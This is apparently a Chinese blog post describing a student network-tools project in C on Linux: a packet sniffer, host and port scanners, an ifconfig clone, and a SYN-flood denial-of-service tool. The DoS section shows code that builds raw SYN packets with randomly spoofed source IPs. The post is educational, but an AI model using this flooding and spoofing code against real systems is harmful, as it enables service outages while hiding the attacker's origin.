最适合用来加深理解和掌握网络的小工具项目,写在简历上不要太优秀!

1 篇文章 0 订阅
1 篇文章 0 订阅

项目描述

为了对网络有更加深入的理解和掌握
在学习完网络方面的知识之后,也是认识在一些知识上的掌握不够,理解也是不够透彻,为了加深我对网络的理解,更好掌握网络的一些协议,头部报文格式等,所以想到了开发一个相对我们来说容易上手且容易理解的网络小工具项目,将我所学习到的网络相关知识融入其中,下面就直入主题吧。

开发环境

Linux ,C/C++,vim,g++,make,gdb
说到开发环境的话,因为我是自己装的虚拟机使用的Linux,所以我也是在这样的开发环境下使用vim来进行的开发,其中使用到的语言C/C++,其中C语言使用的应该会多一些,编译的话使用到了g++和make,而调试的话则是使用gdb,设置断点来进行调试。

主要技术

协议解析,手动组包,socket,select,fd_set信号集,TCP/UDP编程,ioctl
1. 协议解析 手动组包:也是因为shark模块中,需要抓包,那就不仅需要对以太网的封装有着深入的了解,还必须对于每个协议的头部中重要的部分有着大致的了解,因此在这个项目进行期间如果说我认为最大的难点的话,那绝对不是写程序和设计框架,设计好框架后写代码时候对于头部的比对解析和相关信息的打印了,还有的一个就是dos泛洪攻击时自动组包ip和tcp报文进行ip隐藏的过程了,最后写完顺利跑出来的那一瞬间真的是人间的光辉。

  • IP头部
    在这里插入图片描述

  • UDP头部
    在这里插入图片描述

  • TCP头部
    在这里插入图片描述

  • 以太网头部
    在这里插入图片描述

  • ICMP头部:主要用来报错或者用来ping程序
    在这里插入图片描述

  • ARP:
    在这里插入图片描述

2. socket:网络编程的必备函数,而在这个项目之中socket函数不仅涉及到了TCP,UDP,IP编程,还涉及到了原始套接字编程(SOCK_RAW),那就是在抓包的时候,因为要深入到链路层来进行编程,无法使用ipv4,只能够直接使用AF_PACKET,而抓链路层的包需要使用到的字节序转换htons(ETH_P_ALL)。
3. select:阻塞IO的使用,应该说是网络IO复用中较为重要的一个部分了,在扫描主机号的时候我使用到了这个函数,使用它的主要目的是为了避免超时,因为如果一直扫描一个主机号,会形成时间的浪费,无限的进行下去。
4. fd_set信号集:对于信号集的使用,则是因为在主函数的时候设计对外的接口时候使用到的,因为在我们抓包的时候经常会使用到SIGINT信号,也就是我们crtl+c命令,因此使用信号屏蔽是为了在抓包的时候只有crtl+c可以将其进行结束,但是这个时候父子进程(调用一个模块,会创建一个进程来进行工作)都会收到信号,因此我们只需要在父进程这里屏蔽掉SIGINT信号,而子进程抓包则需要能够收到SIGINT信号。
5. TCP/UDP编程:既然是说到网络那是肯定离不开TCP和UDP编程的,在我们扫描主机号的时候,需要进行数据收发,那就需要使用到UDP,虽说相对于TCP来说不可靠,但是它更胜在高效,因为我们这里只发ICMP报文;而TCP的话,则是使用在扫描端口的时候使用到的。
6. 序列转化:主机字节序转网络字节序 htons 和网络字节序转主机字节序 ntohs,在抓包之后需要将协议进行两者之间的相互转化。

项目特点

项目总工实现了五个功能,如果再加上我自己所设计的外部主界面窗口接口函数的话,那么就一共拥有着六个模块,所以我会从模块的角度来清晰的讲解我当时涉及的时候所想的,以及所用到的一系列东西。

外部接口主界面 nettools.c

即将功能展示成一个主界面,供使用者使用。
在这里插入图片描述

可能对于实现主界面来说是比较简单的,但是对于将众多的功能汇总在一起所需要思考的一些问题,就值得注意了:
在我们进行功能选择后,我们会发现在我们使用ctrl+C后,不仅将功能模块结束了还直接将主函数结束了,这样的效果不是我们所追求的,因此在主函数之中,我们需要加上信号集来进行子进程和父进程的一个信号屏蔽工作。也就是在我们使用ctrl+c的时候,只结束掉我们的模块函数,而不会直接结束掉我们的主进程函数。
信号集函数:

	sigset_t set;//信号集的初始化
	sigemptyset(&set);//清空信号集
	sigaddset(&set,SIGINT);//将SIGINT信号加入到set信号集之中
	sigprocmask(SIG_BLOCK,&set,NULL);//改变set信号处理函数状态,是的堵塞SIGINT信号

功能调用函数:
每一个功能函数创建一个进程进行调用,当然了在子进程之中,我们也是要进行对SIGINT信号屏蔽的接触

sigprocmask(SIG_UNBLOCK, &set, NULL);
execlp(maps[i].proc_name,maps[i].proc_name,NULL);调所指目录中的相对应文件进行执行

完了一定要记得回收僵尸子进程。

抓包工具shark.c

这是一个深入链路层的操作,所以套接字编程的参数就需要进行改变

int sfd=socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
AF_PACKET 走链路层,直接利用网络驱动发送和接收报文,这种情况下SOCKET所发出的报文直接送到以太网卡接口,而接收到的任何报文将直接送到应用程序;
SOCK_RAW 原始套接字编程
ETH_P_ALL 抓链路层的包,不包含链路层头部,因此需要加上以太网的头部,所有的都需要

截取所读取数据中以太网的头部,打印出mac地址,和以太网的上层协议,看是ARP协议还是IP协议(0806和0800);

struct ethhdr* peth =(struct ethhdr*)buf;//
print_mac(peth);//打印mac地址
printf("Type:%#x\n",ntohs(peth->h_proto));//以太网上层协议

做完这一块之后就是根据其上层协议来判断是IP报文还是ARP广播报了

if(ntohs(peth->p_proto)==ETH_P_IP) //判断其协议是否为IP协议,若是则偏移掉链路层的帧头大小将其buf指针传给解析ip头部函数

进入ip解析函数后,将其buf指针转为ip头部结构体;从此结构体之中取出源地址和目标地址装入创建的in_addr类型结构体之中,是因为in_addr结构体之中只有s_addr来装ip(记得获取到ip后需要将其转为字符串)
之后判断其IP协议中的上层八位协议号到底是TCP,UDP,还是ICMP协议,偏移ip头部个大小将其buf指针传入到打印相关协议的函数之中

      if(phdr->protocol==IPPROTO_TCP){//判断其是TCP协议
          printf("\n\t\t");
          print_tcp(buf+sizeof(struct iphdr));
      }else if(phdr->protocol==IPPROTO_UDP){//判断其是UDP协议
          printf("\n\t\t");
          print_udp(buf+sizeof(struct iphdr));
      }else if(phdr->protocol==IPPROTO_ICMP){//判断其是ICMP协议
          printf("\n\t\t");
         print_icmp(buf+sizeof(struct iphdr));
     }

  • TCP:
    进入tcp函数后,将tcp头部所对应的源端口,目标端口,序列号,应答号全部打印出来,之后还可以将头部中的标识位打印出来,如果存在就打印,不存在就不打印
  • UDP:
    进入udp函数后,将udp所对应的源端口号,和目的端口号打印出来
  • ICMP:
    对于icmp的话,它的主要是用来报错或者是进行ping的,因此如果这里想要将其信息具体的打印出来是非常的麻烦的,我就没有打因为还需要进行类型判断;当然如果大家想要打印的话,可以将其头部的类型和code取出来,之后判断使用联合体之中的那个结构体进行打印。
if(ntohs(peth->p_proto)==ETH_P_ARP)//判断其协议是否为ARP协议,若是则与上相同,将其buf指针传给解析ARP函数

如果是直接进入ARP协议函数之中的话,则只需要打印硬件的地址即可。

在这个模块之中较为重要的就是对于每个协议头部的解析,通过其结构体或联合体中的定义,将相关信息进行打印,所以需要对相关的协议头部有着一些熟悉。

扫描主机号 scanhost.c

扫描主机号,是为了确定那个主机号是开的,这里直接创建原始套接字来专门接受ICMP报文,当然了是因为原始套接字的话不需要三次握手和udp是一样的,直接使用sendto来发送,recvfrom来接收数据。

int sfd= socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);

之后就开始ping,一定牢记不ping0,是因为0是广播包,所以直接从1开始
扫描端口,则需要与端口建立连接,那就需要我们自己组装icmp报文来进行发送
组装icmp报文:

 void make_icmp_packet(struct icmp* picmp,int len,int n){ //组装icmp报文
      memset(picmp,0x00,len);
      gettimeofday((struct timeval*)(picmp->icmp_data),NULL);//数据里面装的是当前的时间
      picmp->icmp_type=ICMP_ECHO;//报的类型,(发送请求的宏 ICMP_ECHO)
      picmp->icmp_code=0;//编号
      picmp->icmp_cksum=0;//检验和 先清空后面使用校验和算法来进行计算
      picmp->icmp_id =getpid();//标识符,也就是当前进程的进程id
      picmp->icmp_seq=n;//序号
      picmp->icmp_cksum=checksum((u_short*)picmp,len);//算法
 }

其中对于检验和的话我也是使用的将整个头部以16bit位为单位进行相加,之后在求反码的思想来做的,当然每个人也是可以不一样的;对于使用检验和算法的话,对于溢出的处理方式很多人也都是采用不理睬的方式,而我一开始不清楚也是对其进行了处理。

组装完成之后,使用sendto来进行发送,因为需要发送到目标地址,则创建sockaddr_in addr来进行目标地址的存储。
发送扫描的话不可能对于一个主机号无限地进行扫描,因此我自己设定的是每一个主机端口扫描五次,如果超时的话则跳出进行下一次扫描,直到跳出此循环则扫描下一个主机号,所以使用了select函数来进行超时检验。
定义超时结构体和超时的时间。

if((ready= select(sfd+1,&rest,NULL,NULL,&tv))<=0)
//若小于等于零则表示超时,直接离开循环,如果没有收到则跳出循环重新进行,收到之后才能够进行recvfrom操作

既然传出数据,那在扫描到主机号后就需要收数据

recvfrom(sfd,recv_buf,2048,0,NULL,NULL);//收数据

这里会出现的一个问题就是可能大家会想要将ip头部包含进去,所以可能会使用

int op=1 ;
setsockopt(sfd,IPPROTO,ip_hdrincl,&op,sizeof(op))//将ip头部包含到套接字里面。

但是在这里不需要,是因为icmp缺省的头部里面包含着ip,这也是当时我一开始做的时候出现的一个错误,所以提醒大家一定要注意。
通过recv接收到的数据,我们将其转换为ip类型,之后获取其首部长度,在这里因为ip里的首部长度只能够是1或者是0,而hdlen是四个字节,所以取出来的ip首部大小需要乘以4;之后看发别发给我们的源ip和我们的目标ip是否相等,相等在进行接下来的出来:
取出icmp报文,(指针向后移动ip头部大小的距离),如果对方收到我们的icmp报文则会返回ICMP_ECHOREPLY宏,这样的话我们就可以打印对方机器的ip,计算往返的时间,通过tvsub函数来获取往返的时间(也就是当前的时间,减去发送的icmp的时候我们组包的那一时刻的时间)
直到这里我们才算将一个完整的主机号扫描完成,完成后跳出扫描接下来的主机号!

扫描端口号 scanport.c

当时也是因为扫描到主机号了,所以想要看看都有着那些端口是开放的,当然了也不是为了恶搞,就单纯的技术流写到这里了,觉得那就再写一个扫描端口号的吧,也就有了这样的一个模块。
核心思想: 直接使用connet连接,能够连上那就是开的,不能的话则是关的(这里使用全连接)

tcp_connet(ip,i) //如果其结果等于1则表示端口是通的,其中i是端口号

 int tcp_connet(char *ip,int i){
     int sfd=socket(AF_INET,SOCK_STREAM,0);
     struct sockaddr_in addr;
     addr.sin_family=AF_INET;
     addr.sin_port=htons(i);//将本地字节序转换为网络字节序 端口
     inet_aton(ip,&addr.sin_addr);
     if(connect(sfd,(struct sockaddr*)&addr,sizeof(addr))==-1){
         return 0;//若连接失败,则返回
    }else{
         close(sfd);//连接成功则代表扫描到端口, 关闭sfd套接字
     }
     return 1;
}

如果连接成功的话,则使用getservbyport(htnos(i),"tcp")整个函数来获取到一个struct servent*这样的结构体,在这个结构体之中有着端口的名字,端口号,我们只需要将其打印出来就可以了。

DoS泛洪攻击 dos.c

在dos之中就用到了我们之前提到的,因为tcp之中原本是没有ip头部的,所以我们需要手动加上ip头部。

在主函数之中就是输入我们的所需要发送的目标ip,目标端口和我们的源端口,因为要进行网络编程则需要将其存储到addr结构体之中,进行发送,而想要发送的报文则是需要我们手动组包的报文。

组包的话我们是需要组ip和tcp的报文头部

     head_len =sizeof(struct iphdr)+sizeof(struct tcphdr);//ip头+tcp头
      memset(buf,0x00,sizeof(buf));
  
  
     ip->tos = 0; //服务类型因为我不要所以我写0 
     ip->id = 0;//包的编号 现在无用
     ip->frag_off = 0;//标识位:也用不到
     ip->ttl = MAXTTL;//生存时间 写最大时间就行            
      ip->protocol = IPPROTO_TCP;  //上层协议 tcp
      ip->check = 0;              //检验和先清空(这里的检验和与我们前面写的是一样,直接拉过来使用就可以)
      ip->daddr = addr->sin_addr.s_addr; //目标地址 在addr中
 

      tcp = (struct tcphdr*)(buf+sizeof(struct iphdr));//组装tcp
      tcp->source = htons(port);//tcp的源端口
      tcp->dest = addr->sin_port; //目标端口
      tcp->seq = random();//随机产生的序列号
      tcp->ack_seq = 0;//应答报文对我们没用 填0
      tcp->doff = 5;//放5
      tcp->syn = 1;//放1 发包

之后对于ip的话,我们直接产生随机源ipip->saddr=random();
而tcp的校验和的话,则是和之前一样。
组装完成之后使用sendto函数来进行发送。

对于泛洪攻击的原理和防御我将其写在了这里:如何有效防御拒绝服务器攻击

ifconfig实现 myifconfig.c

这个功能模块的话,可能大家也都比较熟悉,就是把我们ifconfig命令所展示出来的信息打印出来即可;

获取网络描述符后我们使用

ioctl(sfd,SIOCGIFCONF,&conf);

进行接口的列表获取,将其装入到我们申请号的清单空间之中,当然了我们一开始设置的时候我设置的是装设备的空间为5个,而等我获取到接口列表后可以通过实际大小除以一个的大小,就是实际上获取到几个接口,打印此时的实际设备个数。

之后循环遍历,将我们所获取到的设备个数的相关信息打印出来。
获取ip:我们需要获取ip的话,则需要按照设备名字去进行查找,使用ioctl(sfd,SIOCGIFDSTADDE,&iq);iq是我们申请struct ifreq类型变量,我们需要将当前设备名字拷贝到这个结构体的name之中,之后通过其查找对应ip,查找所得到的地址信息是一个struct sockaddr类型的,所以我们还需要进行类型的转换,之后进行打印。
获取子网掩码:与ip相似;
获取广播地址:与上相同
获取MTU:可以直接获取后打印,mtu不是ip地址,不需要转换。
获取MAC地址:直接将iq中所对应的memcpy(buf,iq.ifr_hwaddr.sa_data,6);拷贝到buf之中,后打印buf即可。

项目难点和提升

通过抓包工具的话:可以获取到链路层的数据包,通过手动的层层解析,能够使得我们对于链路层,网络层,传输层的报文头格式有进一步的理解;
dos工具:通过这个工具能够实现更好的理解三次握手的一个过程,了解到如何防范拒绝服务器攻击,更好的掌握优化服务器的技能。
扫描主机和端口:更深入的理解了ICMP协议,并且掌握了扫描的原理;
myifconfig工具:有效实现ifconfig功能与其中网络接口和参数配置的一些相关信息,也对ioctl函数有着一定了解。

而在这个项目之中,我认为对于我来说比较困难的可能就是对于逐层协议的解析,需要寻找头部的相关结构体,并且对于其中的一些信息做到了解,且在编写程序时候需要进行一个个协议的去校对,如果一个地方出现差错代码将会出现问题;除此之外就是对TCP之中不包含ip头部和ICMP中缺省包含了ip头部这两个概念,在进行开发设计的时候困扰了我好久,最终也是通过百度和向身边的朋友老师请教才知道这个原理。

GitHub:网络工具

结束语

一共总结9149个的文字,可以说是我对我自己这个项目的整体回顾,不算困难,但是如果真的看起来的话也不算简单,所以如果大家感觉到麻烦,那么大家也是可以收藏起来之后慢慢解析,有问题也可以私信或评论,代码的话我上传到GitHub了,大家也可以直接从我GitHub上将代码模块下载下来,之后照着代码先敲一遍,熟悉一下整体的脉络,当然在我程序之中,我将每一句代码都进行了注释,相信即使是刚刚接触到网络编程的朋友也能够更好的掌握这个项目,当然了这个项目也主要是我自己用来巩固我自己的网络知识的,所以可能没有特别的高大上,希望能够帮助到和我一样有理想想要在秋招中找到合适工作的志同道合之人。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
GitHub Spring Cloud Alibaba 是一个用于构建微服务架构的开发平台,它基于Spring Cloud和阿里巴巴的一系列开源项目。这个练手项目可以帮助开发者熟悉Spring Cloud Alibaba的各个组件和特性,并在实际的开发过程中应用它们。 首先,GitHub Spring Cloud Alibaba提供了一套强大的分布式系统解决方案。通过使用Nacos作为注册中心和配置中心,可以轻松地实现服务的注册与发现,以及配置的统一管理。同时,它还集成了Sentinel作为流量控制和服务降级的工具,可以帮助我们更好地保护和稳定我们的微服务应用。 其次,GitHub Spring Cloud Alibaba还提供了一些优秀的开箱即用的组件。比如,它集成了RocketMQ作为消息中间件,可以实现高可靠、高性能的异步消息传递。此外,它还支持Dubbo作为服务治理框架,能够实现服务的远程调用和负载均衡等功能。这些组件的集成为我们构建复杂的微服务系统提供了便利,同时也避免了我们自行集成的复杂性和困难。 使用GitHub Spring Cloud Alibaba构建练手项目,我们可以学习和掌握微服务架构和Spring Cloud Alibaba的核心概念和技术。我们可以通过实践中遇到的问题来加深对这些技术的理解掌握,并通过查看源代码和参考文档来进一步学习。最终,我们可以通过自己动手去构建一个完整的微服务系统,从而提高我们在实际工作中的能力和竞争力。 综上所述,GitHub Spring Cloud Alibaba是一个非常适合用来练手项目的开发平台。它不仅为我们提供了丰富的组件和工具,还提供了强大的功能和灵活的架构,能够帮助我们更好地理解和应用微服务架构和Spring Cloud Alibaba。通过这个练手项目,我们可以提高自己的技术水平,扩展我们的知识面,并为以后的实际项目奠定坚实的基础。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值